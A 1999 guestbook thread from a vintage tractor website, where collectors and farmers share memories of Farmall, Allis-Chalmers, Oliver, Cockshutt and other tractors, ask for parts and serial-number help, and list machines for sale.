Ianick Saulnier wrote on Monday, December 27, 1999 (PST):At our farm we had until last fall a 1066 black stripe with cab,since then I miss that tractor so much. Now the 695 has replace our 1066 but it's not the power of a 6 cylinder engine. Whenever the 1066 was face to face with a chalenge, he would always come through. If you have a 1066 do not sell it for nothing at all. The money you will get can not replace this piece of the Farmall legacy. Ianick Saulnier
Mr. Elliott wrote on Monday, December 27, 1999 (PST):I spent many hours on a "super 55" years ago. My father had one in mint condition which we used every day on a southwestern minnesota cattle/crop farm. The tractor had a front end loader with a hydraulic bucket. The hydraulic pump run off the front pto shaft of the tactor. The tractor moved snow and cleaned feed floors every day in the winter and pulled a 24T John Deere bailer over three cuttings of alfalfa and one cutting of straw every summer. Its good to see there are still some up and running!
Len Gustafson wrote on Monday, December 27, 1999 (PST):I have an Allis Chalmers tractor. The only #'s I can find on it are located by the stick shift, right hand side. It says "Tractor # B8 607" I thought it was a 1947, but it is identical to the picture of the tractor above. It is a crank start -- it has no electric start. Can anyone help me figure out the year of the tractor and what it is worht?
Harold Warner wrote on Monday, December 27, 1999 (PST):Does anyone know if there is a pick-up tube attached to the bottom of the hydralic pump (located under the seat) to the transmission on the model B allis chalmbers (1939 to 1941) any help would be appreciated as this is still a working tractor.
perry wrote on Monday, December 27, 1999 (PST):i am looking for a D21 running or not or just parts ..
Dwayne Bauersachs wrote on Sunday, December 26, 1999 (PST):I own a 500, 900, SI, SC, 1070 Black Knight, 400, & many more. I antique pull with the 900. I also tractor pull with one of my 1070 tractors. I've been the points winner 2 years in a row in the Il Hot Farm Stock Pullers Assoc. My family collects lots of Case items. I know a lot of information about tractor pulling with a Case. Does anyone have any Case wrenches?
Dean Englund wrote on Sunday, December 26, 1999 (PST):Very nice tractor!I'm looking for a set of fenders for 1936 #2-c0-0p any info email me THANK YOU DEAN MINN.
Mitch wrote on Saturday, December 25, 1999 (PST):I am in search of a Minneapolis-Moline NTX. IF you know of one for sale please email me. Thank you!
Neal Stockheimer wrote on Saturday, December 25, 1999 (PST):I have a 1931 gp that I am restoring and i need rings valve guydes valves head gasket intake and exzost manafold gaskets and packing for flywheel and drive poley can some one help me and shopor repair manuals for ' specks'on it .it was my grand fathers . help please! papabear1000 at AOL.COM THANK YOU;-)
Aaron Norris wrote on Saturday, December 25, 1999 (PST): Coy Norris, my grandpa, owns an Oliver 550 with a hydrolic side mower, that my neighbor bought from the North Carolina State Department Maintenance, along with another Oliver 550 that did not work and put them together to make a tractor that worked realy good. My grandpa uses it to feed his cows. I am now old enough to drive it on my own. When I am out of school, I drive the tractor with a round bale of hay on the back while my grandpa rakes it of with a pich fork. This is the most fun part of being out of school.
Dave Jones wrote on Saturday, December 25, 1999 (PST):Have one just like your's. Very hard to find parts for but do have information on it. If you want it just email me.
Ron J. wrote on Friday, December 24, 1999 (PST):Have OC-6 Oliver.Engine SN/1024311. I'm trying to find tractor SN as SN tag is missing. Hoping someone could back track from engine number to find SN number. Also need sheetmetal,rollers,trackpins and bushings. Think this machine is between 1950-54 possibly a little older. I'm enjoying this project and any help would be greatly appreciated!
Keith Clymer wrote on Thursday, December 23, 1999 (PST):My pop-pop has a Fordson-It has been sitting in the field for about five years.He said the trans-locked up. Could this possibly bw fixed reasonably? The rest of the tractor is in great shape. Thanks
Mike Owen wrote on Monday, December 20, 1999 (PST):I bought an old parts book dated 4/63 from an old JD dealer. the M decal set number is AM 3173T for the grille,and it says "Decalcomania kit (includes all above) (sub. for AM 503T,AM 1154T and AM1158T) M, MC, MT). the front page also has pics of all 4 models that can be used to determine location of the grill decals.
boyd dennis wrote on Monday, December 20, 1999 (PST):i am in the process of restoring a b f avery model a at this time, possible it will be for sale when finished, anyone interested might send me a e mail
Bob wrote on Monday, December 20, 1999 (PST):I have an AC D17. Will it handle a 506 vermeer round bailer? If so, what do I need to hook up the hydraulic system?
Phil Blahut wrote on Monday, December 20, 1999 (PST):I am interested in buying a D-21. Do you know where a good value is, price, condition, history? 3 point is nice, no cab, but would consider that too. Phil
JMC wrote on Sunday, December 19, 1999 (PST):Wrote on sunday december 19,1999 from FRANCE I have a 806. Is it a collection tractors in USA?
Bill Jowers wrote on Saturday, December 18, 1999 (PST):Looking for wheels, hubs and rims for Oliver 99 gasoline to go from steel wheels to rubber tires.
James Barton Dec. 18,1999 wrote on Saturday, December 18, 1999 (PST):I have a B.F.Avery not for sale looking for left rear fender cannot locate serial#need some help with #
scott wrote on Friday, December 17, 1999 (PST):I HAVE A 1966 770
john frankenstein wrote on Friday, December 17, 1999 (PST):I would like information on HD5 or HD6 crawler highlifts. My dad owned one and I would like to know where I could receive more info on them. Thanks
K welden wrote on Friday, December 17, 1999 (PST):Have 330 JD, MH Pony ,Farmall Cub, Cockshutt 60. Other collectables , access to more. Click me.
k welden wrote on Friday, December 17, 1999 (PST):Have 2 cockshutt 60 also JD 330, M MH Pony IH Farmall Cub access to other collectables. Click me
Gene wrote on Wednesday, December 15, 1999 (PST):Wanting to know if the WD45 diesel engine will fit the WD45 gas transmission and tractor frame. What changes if any would have to be made to the tractor? Also want to convert to power steering and would like to locate the steering booster.
bhedrick wrote on Wednesday, December 15, 1999 (PST):does anyone know a good site to find replacement parts for a Oliver? I'm looking for a crankshaft for a 1950T.
Glen Kent wrote on Wednesday, December 15, 1999 (PST):I have a 9N with a hydraulic lift problem. The lift works, but it seems to only have 2 positions, up or down. Eventhough the lift handle moves freely, the actual movement up or down occurs within a very limited (approximately 1 inch)range. Has anyone ever experienced this or has any suggestions for adjustment. Thanks Glen
dalyrymple farms wrote on Tuesday, December 14, 1999 (PST):we also farm with a international 1460 combine and in our opinion it is the very best combine that we have ever used it is a pleasure to operate and does a great job
dalyrymple farms wrote on Tuesday, December 14, 1999 (PST):we farm appros. 500 acres in michigan and we use 1-1066 and 2-l086s and an 1952 farmall h. got to be the best farm tractors that farmall ever made, we maintain our on tractors and all 3 are in perfect conition and it is a pleasure to farm with them
dustin leistra wrote on Monday, December 13, 1999 (PST):i am interested in price condition and location of this tractor ps i love olivers
DAVE BAILEY wrote on Monday, December 13, 1999 (PST):DOES ANY ONE KNOW WHERE I MIGHT GET A OR SOME STAMPS , WITH THE MODEL 30 ON IT ? WE HAVE A 20 , 40 ,50 AND HAVE JUST LOCATED A VERY NICE 30 , THAT WE ARE TRYING YO BUY .
RON KNARR wrote on Saturday, December 11, 1999 (PST):pump would not be a real problem,but if PST means West Coast fright would be more than the pump,can be rebuilt for around 350.00 plus labor..
Clark Campbell wrote on Saturday, December 11, 1999 (PST):I have a 1970 AC D21 Ser II (127 HP Turbo). Am looking for a 3 stage hydraulic pump either new, overhauled or salvage.
LYLE JORGENSEN wrote on Saturday, December 11, 1999 (PST):I INHERITED MY OLIVER OC-6 DIESEL WITH OLIVER BUCKET LOADER IN 1989. ENGINE HAD NO POWER OR DIESEL RATTLE AT IDLE. TIMING OUT OF WACK SO I REBUILT INJECTOR PUMP/REPLACED BROKEN PARTS. RUNS VERY GOOD WITH DIESEL RATTLE AT IDLE AND PLENTY OF POWER BUT LOW OIL PRESSURE AT IDLE. THIS BLOCK IS USED FOR GAS APPLICATIONS SO HAS 4 SMALL MAIN BEARINGS.I WILL PULL PAN AND CHECK BEARINGS AND OIL PUMP. ALREADY TIGHTENED UP OIL PRESSURE REGULATOR TO MAX.TRACKS ARE GOOD BUT NEED ROLLERS AND PINS.DRIVE SPROCKETS WORN AND NEED WORK.MUST FIX HYDRAULIC PUMP. SEALS GONE. HYDRAULIC CYLINDERS GOOD.NO PTO OR REAR IMPLEMENTS. NEED ENGINE SIDE COVERS AND AIR CLEANER DUST COLLECTOR. NEAT TRACTOR.
jon wrote on Friday, December 10, 1999 (PST):I have an 8N with the 6 cyl. Funk conversion. They used regular flathead 6's out of big Fords as well as the industrial engines. There are minor differences like the water pump. The early Funks and all Glover coversions used a channel iron frame. They later switches to a cast iron pan. You can tell what year your tractor is by looking at the date on the pump (bottom by the drainplug) assuming it hasnt been replaced. There are also dates cast in the rear axle, and other places on some tractors. The 2Ns have the date on the starter part of the bellhousing. The later 8Ns had proofmeters, and some had different looking rear axles and round brake pedals. The Funk flathead 6s use the donors clutch and pressure-plate (11 in.), and the tractors throwout bearing. The starter is also stock flathead six but uses a Funk adaptor. They later made OHV six cyl. conversions, most of these were Glovers, they are the rarest. As far as value, they really havent seemed to increase in value, a worker about $2500, and a show tractor about $4500.
Jim Testerman wrote on Friday, December 10, 1999 (PST):I have a W4 This is a nice belt tractor. But my best find was a Schram This is a construction machine and is mounted on a W-4 or W-6 chassis. Half of the engine is the air compressor that runs the hole driller.The manufacture plate is missing.I would apprectiate any comments on this type of machine.
Rick Nikolich (GeneD14) wrote on Friday, December 10, 1999 (PST):Hi, I've only had my 160 since Aug 99. The brakes were bad, I've heard the 160's are prone to brake problems. The tie rod ends were worn out and I had to custom make new ones. I replaced the seals on the lower lift arms (big job!). Some parts are very tough to locate. Now for the good stuff; power steering! live pto! live hyd! heavy tractor with tires loaded. The Perkins engine has a good reputation for reliability and good cold starts. So far my 160 has been pretty good, it was restored by the previous owner a few years ago. Good Luck!
Donald Tucker wrote on Friday, December 10, 1999 (PST):I have a Farmall "B" that I am in the process of restoring. I am looking for a battery box that is in decent condition. Thanks for your help.
Matt Munson wrote on Thursday, December 09, 1999 (PST):The 1066 was a good tractor, but the 1086 was even better. We own one on our farm and use it almost every day. It has 6600 original hours. How's that for a good tractor
Darrell Faryna wrote on Thursday, December 09, 1999 (PST):These are really great machines! It probably has one of the sweetest sounding six cylinder diesel engine of its era. It is a lively tractor for its size(except for its power steering,which is kind of slow) and really digs in and snorts in the rough spots. Our 500 Diesel did a lot of acreage on our Alberta farm without a whimper and is now in the process of restoration. It is 99% complete now and a real jewel to look at and run.
Ed Marchesich wrote on Thursday, December 09, 1999 (PST):Looking to locate a 1921 Hart-Parr rad ornament for 18-36 HP or any information on how to replicate one. If you can help, please get in touch!
Tom Armstrong wrote on Thursday, December 09, 1999 (PST):In this area, the AC Model M pretty much replaced the horse for farming the hills here for grain and flax. One family up the Canyon had a Model K. I remember they still used it back in the "50's and '60's. They ran it in the same field as a 7U D-4. They worked one behind the either all day long, both pulling 4 bottom plows. I ran an M in the same field as a 5U D-2, the M would keep right up with the D-2, both pulling 6'9" discs. The M would outrun the D-2 if you tied the throttle down. This was amazing performance for tractors engineered in the early thirties.
John Price wrote on Wednesday, December 08, 1999 (PST):I have a '39 H #6749. I plow snow with it and am in the process of painting. I'm looking for a picture or diagram of how the 1 bottom plow hooks up in both front and back. I can tell something is missing, but can't tell what. Help!
Terry Johns wrote on Monday, December 06, 1999 (PST):Recently restored 1949 TO-20, only missing items is muffler and tailpipe guard and original lights. anyone knowing of location of these and price. please e-mail thank you.
Collins Duke wrote on Monday, December 06, 1999 (PST):The 1066 was one of the better tractors that IHC made in their later years,I used to own two of them, I also owned two John Deere 4430's at the same time and the 1066's would run circles around the Deere's
John Kraemer wrote on Monday, December 06, 1999 (PST):For Sale 1947 Farmall Cub--Excellent condition ALL ORIGINAL Includes belly mower and cultivator. I even have the origianl manuals for tractor and cultivator. I'm the second owner. $3,000 located in St. Louis.
H. Burnett Clasic Repair wrote on Sunday, December 05, 1999 (PST):I have an oc-3 Part restored . No sheet metal . Runs all new track Rollers with new pins. trans rebuilt. new bands. Dont know if its feasavle to finish or not or just junk it out.
Roger wrote on Sunday, December 05, 1999 (PST):I am interested in purchasing D17. I have looked at one and found that it has been sitting in a farmers field for one year. Apparently it is locked in gear. Can you tell me anything about this. Is this relatively easy to fix? What is a tractor in this condition worth? Other than the tractor being very dirty, Covered with over spray from whitewashing a barn. Tires are good. Haven't heard engine run yet. Has a front end loader attached to it hand release bucket. If you can help me I would appreciate it. Also what is the value of a conversion fro quick point hitch to three point hitch?
John Walters wrote on Friday, December 03, 1999 (PST):I had the opportunity to drive an MC at our spring field day and thought it was rather slow but fun and easy to drive. I took it out in the field and used it to grub out a rather large rock that had been unhooking plows for years. It did not take a lot of time to learn to use the front blade to dislodge the rock. I didn't get a chance to use it on a plow, though other folks did.
Rick wrote on Friday, December 03, 1999 (PST):I've got an OC-3 that runs quite well and has good tracks. It needs bushings in the idlers and first and reverse make some noise. The noise from those gears may be natural but in 2 & 3 the trans is very quiet. Anybody know about the noise and the bushings?
Gary Bielke wrote on Friday, December 03, 1999 (PST):We would like to get ahold of a new toy tractor in this series U-Minneapolis Moline. If you can get back to us as soon as possible, would like for X-mas. Thanks.
K. Smith wrote on Thursday, December 02, 1999 (PST):iam interested in the conditon, selling price, and location of the 1950T FWA
Wayne Kaiser wrote on Thursday, December 02, 1999 (PST):I have a '49 Model B serial #240491 and am in the process of restoring it. I need to know where the "John Deere" decal should be placed on the tin. I understand that "John Deere" was placed close to the front toward the later part of '49 but I was wondering at what serial # that started at.
Kevin Teeters wrote on Wednesday, December 01, 1999 (PST):I have a 1952 Dexta that my Grandpa bought new and I have never had any problem with any thing on it except the water pump and I put a new one on (the other one was original) also the tractor has over 7,000 hours on it
tom phoenix wrote on Wednesday, December 01, 1999 (PST):I lived down the street from a dairy farm while I was growing up. The farmer was a great guy who tolerated a curious kid hanging out and asking questions. Boy! Did I learn a lot from that farmer. The best thing I learned was how to drive a tractor. He had several tractors, a big White Field Boss, a Oliver 1855, and the one that is still dear to me, a 1946 Oliver Row Crop 60. This is the tractor that he tought me on. He had restored it to its original condition(his father had bought it new), and it had seen over 20 years of hard field use. It had always been maintained but it did need some "freshening up" and a new coat of paint, and Larry,(the farmer, let me assist in the restoration. Then best of all he showed me how to operate it! In 1980 the farm moved to upstate New York(they needed more land to stay competitive), and they took all their equiptment with them. Larry still owns that old Oliver and he instilled in me a love for old tractors which I indulged about 10 years ago when I bought a McCormick Deering 10-20 on full steel from another local farmer's widow who was selling off the family farm for a housing developement. Someday I do plan on acquiring an old Oliver Row Crop 60 to restore and hopefully show and parade. Thanks for listening. I enjoy your web page. Tom.
Debbie York wrote on Wednesday, December 01, 1999 (PST):We have a 40 Cockshutt tractor, I wouldn't trade it for the world we use it on our horse farm, for just about anything we paid $250.00 for it and haven't had a lick of problems with it. Great little tractor!
Shep wrote on Tuesday, November 30, 1999 (PST):I bought my diesel Oliver used, seeking rear brakes, lower seat assy. and floor boards (foot area). Any help would be appreciated.
FRANK wrote on Monday, November 29, 1999 (PST):I am in the process of restoring a HG 68 and HG 42,the 68 has a hyd.blade mounted on it.I use it to push lite dirt,its fun to drive.I need a radiator and carb.marvel-schebler,for the hg 42.Lots of luck on finding a good hood.
jim hallman wrote on Sunday, November 28, 1999 (PST):i have a super 44 in my shed not now running. been there several years.(one of the 750 made) would trade for a ford 8-n in good condition
Mike wrote on Sunday, November 28, 1999 (PST):Does anyone know who manufactured this tractor and need information on the charging system....Thanks
jim anderson wrote on Sunday, November 28, 1999 (PST):in 1963 my dad bought a D15 SERIES II with all the attachments.it was the first of many tractors he owned through the years and also my favorite.dad traded the D15 in the late 70`s. my affection for that tractor has lasted for all these years.i finally told myself "i had to have one". i searched for two years to find the right one. i finally found the one for me. a 1966 , 2200hr. 1 owner, like new D15 SERIES II. the best part was picking the tractor up and seeing how excited my 69 year old dad was, just like one 8 year old kid was in 1963.
Neil Wojiciechowski wrote on Sunday, November 28, 1999 (PST):I have 3 AC Model G's FOR SALE. 1949 with PLOW $2200.00. 1951 with RARE power mulcher and hydraulics $4000.00 and a 1949 with a MOTT Flail MOWER $3800.00. All are in very good condition and located in North East Ohio. Pictured below is the 1949 for $2200.00. Pictures are available of the other 2.
Codie wrote on Saturday, November 27, 1999 (PST): I have a Wc allis and a Wd 45 I was wondering if any body was in the process of restoring one because I'm restoring the 1947 WC so it is a pretty hard job. I'm only thirteen but it is mine. Codie
Todd Nichols wrote on Saturday, November 27, 1999 (PST):i purchased what was suppose to be a 1961 dexta.according to info in this site,they were not mfg until 1962.is this true?so far i have had zero problems and am very satisfied with my tractor.averge retail price in n.ms. has been avg about $2000-$2500 for better than avg condition. tn
HENRY T.MARTINEZ wrote on Saturday, November 27, 1999 (PST):DROVE A 1000 SERIES DIESEL POWERED ONLY TROUBLE WAS I KEPT TEARING UP EQUIPMENT HAD POWER THAT I NEVER HAD USED GOOD TRACTOR MADE TO LAST FOR EVER
Bill Habig wrote on Friday, November 26, 1999 (PST):There is a local person wishing to sell a 1066 with cab (no attachments) with 2,700 hrs, and new rubber, for $15K. Does anyone have an opinion if that is a fair price?
RODRIGO GONZALEZ VERDUGO wrote on Friday, November 26, 1999 (PST):SON SUPER BONITOS Y BUENOS LOS MODELOS JOHNN DEER ME ENCANTAN SI FUERA POSIBLE ME ENVIARAN FOTOGRAFIAS DE LOS MODELOS MAS RECIENTES ME ENCANTA SU TECNOLOGIA Y CALIDAD... CON MUCHO AGRADO DE HABER VISITADO SU PAGINA SE DESPIDE UN LOCO DE LOS TRACTORES.. RODRIGO GONZALEZ PD. ESPERO SU CORREO.
fred allen wrote on Friday, November 26, 1999 (PST):I have seen one of the tractors pictured and I would like to start a collection of pitures for my father in law.
CH wrote on Thursday, November 25, 1999 (PST):I own an OC 3, Oliver. Will soon begin restoration. Parts? Info? CH
ANTHONY wrote on Thursday, November 25, 1999 (PST):THING TO REMEMBER WHEN HAULING IMPLEMENTS WITH A NARROW FRONT END TRACTOR. THE TRACTOR WILL TURN VERY SHARP. THIS MIGHT CAUSE THE EQUIPMENT BEING HAULED TO END UP KNOCKING YOU OF THE TRACTOR SEAT. IF IT IS A DRAG HARROW ESPECIALLY.
keith ault wrote on Thursday, November 25, 1999 (PST):Cletrac was the cleveland tractor company,located in cleveland,ohio. in 1939 with "the general". model gg, they built the first 3 wheeled rubber tire tractor for the company.In 1940-41 oliver bought out the dozer division renaming it the oc3{formally hg}.Avery bought out the tractor division. Avery put wards twin row and massey harris decals and plates on some of the tractors. In 50-51 Minn-Moline bought out avery, model mm bf replaced the avery r. the tractors used a hercules ixb series motor,later models had sleeves.The b f avery collectors will be holding its annual spring meeting near louisville,ky in spring of 2000.we plan on touring the ford truck plant in louisville plus having a parts sale/swap
Matt Trump wrote on Thursday, November 25, 1999 (PST):I have a 1962 550 and Im looking for a new or used radiator and a new or used PTO clutch that is in good condition. Can enyone help me?
Eugene Schacht wrote on Wednesday, November 24, 1999 (PST):I am looking to buy a Farmall Cub with a belly mower. Any year that is in running condition is acceptable. Must be located fairly close to northwest Ohio region. Contact by e-mail or by phone 419-691-4069.
Joey wrote on Tuesday, November 23, 1999 (PST):There isn't any need to put some stupid alternater on an antique tractor that you are trying to restore to the original stock version. Also takes away from value. Just put a 6 volt resistor on your hot wires going to each electrical unit"starter,generator,lights" It'll cost about 15$.
Jamie Vacanti wrote on Friday, November 19, 1999 (PST):I Love your cockshutt!
Craig Braddock wrote on Friday, November 19, 1999 (PST):I am looking for tracks, track links, some shoes for my 420C. It is a good machine with a loader and rear rippers. Had a short block put in, transmission work about 4 years ago. It runs good. Can you help me find the parts I need? Craig Braddock
Jamie Weaver wrote on Wednesday, November 17, 1999 (PST):Does anybody know where a 220 is that needs to be restored?
Les Hunt wrote on Wednesday, November 17, 1999 (PST):I have one of these that my grandfather bought when it was about two years old - not sure of age but I believe it was made in the early 30's. I am now in the process of restoring it and am in need of some parts. The original throttle control has been moved and the block and head are now cracked. It still runs though! Any help appreciated.
chris wrote on Tuesday, November 16, 1999 (PST):Have just purchased AC B tractor. Runing drove home from neighbors. 1938 #B6231. Will need some restoring. Has brand new rear tires/rims. Have decided to purchase already restored tractor.Does anyone want to purchase this one? It is located in south,central connecticut.
Bob Wolfe wrote on Tuesday, November 16, 1999 (PST):Have any of you see a twin minee hitch. It was made up of two 1350 mm"s The frount axle was removed on one hand controles put on it! Hooked to the back of the first one. Combined would pull a twenty four ft. disk& a field cultervator& Hairgator at the same time. Also pulled a ten bodom plow! Thats right 10\16 plow in 1973! It was known as the Fecht boy's M&M hich Owned by Donald & Roger Fecht OF Carthage,I.LL It was great to see it run. They used it that way for about eight years. It is still talked about to this day. That was over Almost thirty years ago If you got one better than that I would love to hear about it. Farm kid at heart. Bob Wolfe Phx,AZ
Jared wrote on Monday, November 15, 1999 (PST):I bought a WD45 wiht a badly cracked block I would like to know where to get a block, complete engine, or parts tractor with a good block, preferably for cheap
DUSTIN NEWBY wrote on Monday, November 15, 1999 (PST):I am 17 years old an I own a 1952 Super C I restored it when I wwas 13. My Father and Grandfather are farm mechanics. We also own two JD A's one B a 40 a MT and a L. We have a Ten caterpillar. Farmmal A and B. And one WC Allis Chalmers. Have Any Questoins Or need help locating parts E-mail me. I love working on and talking about old tractors.
Scott wrote on Monday, November 15, 1999 (PST):I am looking for a John Deere 60 to use in the hay fields and our local tractor pulls in New England area.
Allen McIntosh wrote on Monday, November 15, 1999 (PST):4 years ago I found a D-15 Series II Industrial with a TS-500 Loader and Hoe. To my surprise it had a Deisel motor in it. The book said it was a Buda. During resteration I pulled the shuttel shift clutch pack out. I have a old manua that showes the procedure for rebuild and shiming the clutch pack. It can be shimmed and inspected on the D-15 through a side plate on the transmission. Contact me and I can scan the manual and send it to you If you would like. Any one out there have a starter for a d-15 deisel for sale, or starter drive.
Alex Dwyer wrote on Monday, November 15, 1999 (PST):I have 3 F-14's and have recently acquired one on full steel with considerably good sheet metal. The engine is siezed but I will take care of that with some Coca-Cola.
Larry Mears wrote on Monday, November 15, 1999 (PST):I have now located the correct number on the tractor. Serial # is ; 38762 ; any help on finding the year model would be apperciated. Thanks, Larry Mears
jennifer harvey wrote on Sunday, November 14, 1999 (PST):I found my D-15 in North Idaho for sale at the end of someone's driveway. I bought it a week before starting a new relationship. Two and a half years later, the only thing my man and I argue about is if we ever get married and then divorce--who gets the tractor!oh,and we just bought a D-17 with loader arms and detachable backhoe...anybody know anything about this tractor's shuttle shift?.........symptom; barely wants to move forward or reverse when moving shuttle shift lever
Larry Mears wrote on Saturday, November 13, 1999 (PST):Last summer I purchased a restored farmall cub. Trying to find out wht year it was manufactured. Got this # off the tag on block behind the carbarator ; 39202. Please email me if you have any info as to when it was made. Thanks, L. Mears
RALPH CHRISTIANSEN wrote on Friday, November 12, 1999 (PST):I AM IN THE PROCESS OF RESTORING A 1948 FARMALL C, AND LOOKING FOR INFORMATION ON RESTOREATION,AND ACQUIRING PARTS.
Gene Sullivan wrote on Friday, November 12, 1999 (PST):I am looking at a Super Dexta that appears to be in good condition and would like to know if $4100 is a reasonable price. Also, the photo above shows the exhaust on top but on the one I am looking at it goes out the back (underneath). Please help! I need to make a decision Sat (14 Nov).
Guy in Sandy Eggo wrote on Thursday, November 11, 1999 (PST):I have an L or LA which is apart but really needs fairly little heavy restoration. two ??; 1. where are good parts sources, and do a lot of guys just get parts rebuilt locally; 2. what is the difference between L & LA models? Thanx
William Naudain wrote on Thursday, November 11, 1999 (PST):I have a case 500 diesel and am in the process of getting ready to restore it. I would like to find another one for parts,as mine is kind of rough but runs decent. I am also going to pull mine in the antique tractor pulls in this area.
Tom Boughner wrote on Thursday, November 11, 1999 (PST):Canada Post issued a special stamp in 1996, commemorating the fiftieth anniversary of the production of the first Cockshutt 30s at their Brantford plant. The bulletin that accompanied the stamp reported the following; Cockshutt "30" Farm Tractor Cockshutt Farm Equipment Limited was founded in 1877 by James G. Cockshutt, who invented a series of implements, including the J.G.C. Sulky Plow. The firm designed tractor-pulled implements and offered a line of American-built tractors. Ending the U.S. agreement, the company decided to design and build its own line of tractors and combines. The result of their intensive development program was the Cockshutt "30" - the first tractor equipped with live power take-off and a live hydraulic system. The first "30" was produced in Brantford, Ontario, with production increasing from 400 uits in 1946 to over 17,000 in 1949. Production ceased in 1956 and the company was sold to U.S. interests in 1962. This stamp drawing featuring a farm tractor shows a standard-tread Cockshutt "30", equipped with wheel weights. Similar models are owned by collectors and museums such as the Ontario Agriculture Museum in Milton.
James Van Damme wrote on Wednesday, November 10, 1999 (PST):I drove my dad's Cockshutt 40 when I was a youngster. It was a great tractor for P.T.O. work. It hauled 2 8-ton sugar beet loads easily. It had very few mechanical problems. A lot of great memories.
Jerry Sandel wrote on Wednesday, November 10, 1999 (PST):I own a 1958 770 that has been owned by our family since new.It currently has 2055 hours on the meter. It still has the original rear tires and they have well over 50% tread left. Last year I replaced several oil seals the clutch,(it was ruined by a leaking rear main seal)rebuilt the Gemmer power steering unit and repainted the entire tractor. An excellent source for parts is Farmersville Equipment in Ephrata, PA. phone 717-354-2150. They have over 200 Olivers dismantled and the parts fully cataloged. They have virtually anything you want.
BOB LAFRAMBOISE wrote on Saturday, November 06, 1999 (PST):TO JOHN AND AUBRY....MINE IS 1970 2000 AND DATA PLATE IS LOCATED UNDER HOOD ABOVE BATTERY, UNIT CODE TELLS WHEN TRACTOR WAS BLT AND MY 3 CYC GAS ENGINE IS ABOUT 35HP. MY 2000 IS DIFF THAN PHOTO ON THIS NET W 2000 DECAL ON HODD TOO PLUS FRNT END IS SQUARE AND PAINTED WHITE
Tom Boughner wrote on Saturday, November 06, 1999 (PST):As to the comment that no one knows for sure when Cockshutt started building tractors, I'd like to offer this. My parents met while both were employed at the Cockshutt plant in Brantford during the '40s. The Canadian government had commandeered the Cockshutt facility for defence production purposes, turning out components for the Avro Lancaster Mark X bomber being built by Avro Canada in Malton. With the facility upgraded to satisfy wartime defence requirements, Cockshutt was well positioned to do so and swung their production over to tractors after the war ended. Canada Post issued a commemorative postage stamp honouring the first Cockshutt 30 tractors off the Brantford assembly line in 1946. I hope this helps and is of interest.
Dennis wrote on Friday, November 05, 1999 (PST):I've just started to restore a 1941 Farmall "B" (I think). The front tire is a 600-16 and the book calls for a 600-12. Does anyone know where I might find a stock front end yoke and tire (single or double)? I'm also in need of two side finders. Any help would be greatly appreciated!
Steve Shiver wrote on Thursday, November 04, 1999 (PST):So glad to know there are other model LA's out there. My 1938 is a worker, pulls 14" turning plow, splits touch rocks with it front blade! It spits oilly soot out the stack now, so time for a rebuild and carb. redo. Where does one find such parts?
George wrote on Tuesday, November 02, 1999 (PST):I have an un-restored 60 standard that looks like the same tractor, except for color. The 60I does have brackets of some kind on the frame that I am curious about. Could my 60 be reasonably restored as an industrial?
6-JAYS wrote on Monday, November 01, 1999 (PST):I have used a case 500 in the past and now own a 500 and a 900,both western tractors also have an S.C and a 800 and am inthe process of purchasing a 700 and a 400 and another sc I don't have e-mail but I'll watch this site
Andrew Green wrote on Sunday, October 31, 1999 (PST):I own a M-H 744D with a perkins P-6 Deisel would any body know where i can get a workshop manual ?
James Borders wrote on Sunday, October 31, 1999 (PST):I found a 1941 L down in the woods close to the Okeefonokee swamp that had been sitting for about 9 years and it took about 4 Hours to get it running. It runs and looks pretty good. Iam going to restore it this next year and take it around and show it off. So keep your eyes and ears open all the time because they are still some out there somewhere.
David J.A. Kramer wrote on Sunday, October 31, 1999 (PST):I have a ac d15 with a front end hydraulic loader and am looking for the fair market price. Excellent condition and has 4000 hrs on original engine.
Jim Hellweg wrote on Sunday, October 31, 1999 (PST):I have a gas WD45 1959 Allis Chalmer and I had to change the starter relay and I am not sure that I have it hooked up right because it will not start. Can anyone help me with some kind of verbal diagram? "HELP". Thanks, Jim Hellweg aphorse at mail.usmo.com
David wrote on Sunday, October 31, 1999 (PST):I have a 1944 Farmall BN in good condition. Need mid and rear lifts. Also would like front and rear cutivators. Also need "tool bar" that mounts on front of tractor.
Dave Brown wrote on Saturday, October 30, 1999 (PDT): Brian Barker I would very interested in your info on the the point hitch. Please contact me. Thanx.
Dave Brown wrote on Saturday, October 30, 1999 (PDT): Brian Barker I would very interested in your info on the the point hitch. Please contact me. Thanx.
Ross Burke wrote on Saturday, October 30, 1999 (PDT):My neighbor just bought a 230 and thinks it could be rare. It has a two point hitch on it. Does anyone have any info.
Virgil Reeves wrote on Saturday, October 30, 1999 (PDT):I have a Massey Harris Pony for sale In albany Ohio. It is a1948 model. It needs a few parts.
Jay wrote on Saturday, October 30, 1999 (PDT):I have a H farmall serial #355198X1 I would like to know What year it is ? Also it has a short in it somewhere which noone seems to be able to fix.It runs great but has to be jumped everytime.
Rick Paden wrote on Saturday, October 30, 1999 (PDT):I have a D-15 with low fluid so I called Deutz-Allis in Stockton California and he told me Hydraulic fluid in torque tube/hyd syst and Trans/diff. The stuff in there looks like hyd fluid.
Rick Paden wrote on Saturday, October 30, 1999 (PDT):My "Farm Fresh" BN was free but you know how that goes. 400 dollars in tires (only the rims were present) trailer rental and 35 dollars in gas and it's home. I have a small crack in the block, engine is froze and the stock seat bracket is missing, but other than that she's cherry. Hope to find time to sink some serious time and money in it this winter. Good luck to all on their restorations. Me, I'm hooked.
Rick Paden wrote on Saturday, October 30, 1999 (PDT):I too own an I-9. It's gas no hydraulics and has tires marked Road Grader. Needs some paint and little stuff here and there but basically nice. Neat story; Went to pick it up and the semi dropped it's drive wheels in a drainage ditch. My first real use of the tractor was to pull the semi back onto the pavement so I could haul her home. Note to Alex"Easy son, we're all friends here"
Kiwi BM wrote on Saturday, October 30, 1999 (PDT):I now have a Farmall Super BM, serial #11424, and built by the International Harvester Company of Great Britain. The tractor is running well. It has been modified in its past life with mud guards, additional pto and hydraulics. It is now being used in its orignal condition and colours. I believe it is a 1952 model but no 100% sure. I am interested in finding out about the British buit series of M and Super M tractors. The U.S. has an excellent documented history on the tractors, but what is existing in the U.K.? Anyone have any information on UK sources of data on these tractors and especially their UK history. Are there any internet sites as good as this one? regards
Jim wrote on Friday, October 29, 1999 (PDT):My granddad wanted one of these, but had to be satisified with 'ol Jenny the mule!
mike wrote on Friday, October 29, 1999 (PDT):I worked summers on a farm when I was in school in Ohio we ran a few hundred acres with a 730 narrow front end this was our plowing and fitting tractor it was a beast it would out plow the guy next door's 90 h.p Deutz 4 wheel drive also had a 630 gas wide front and a MT .I am buying a 420 to use around the yard and restore to bring back some fond memories ---pop-pop-pop
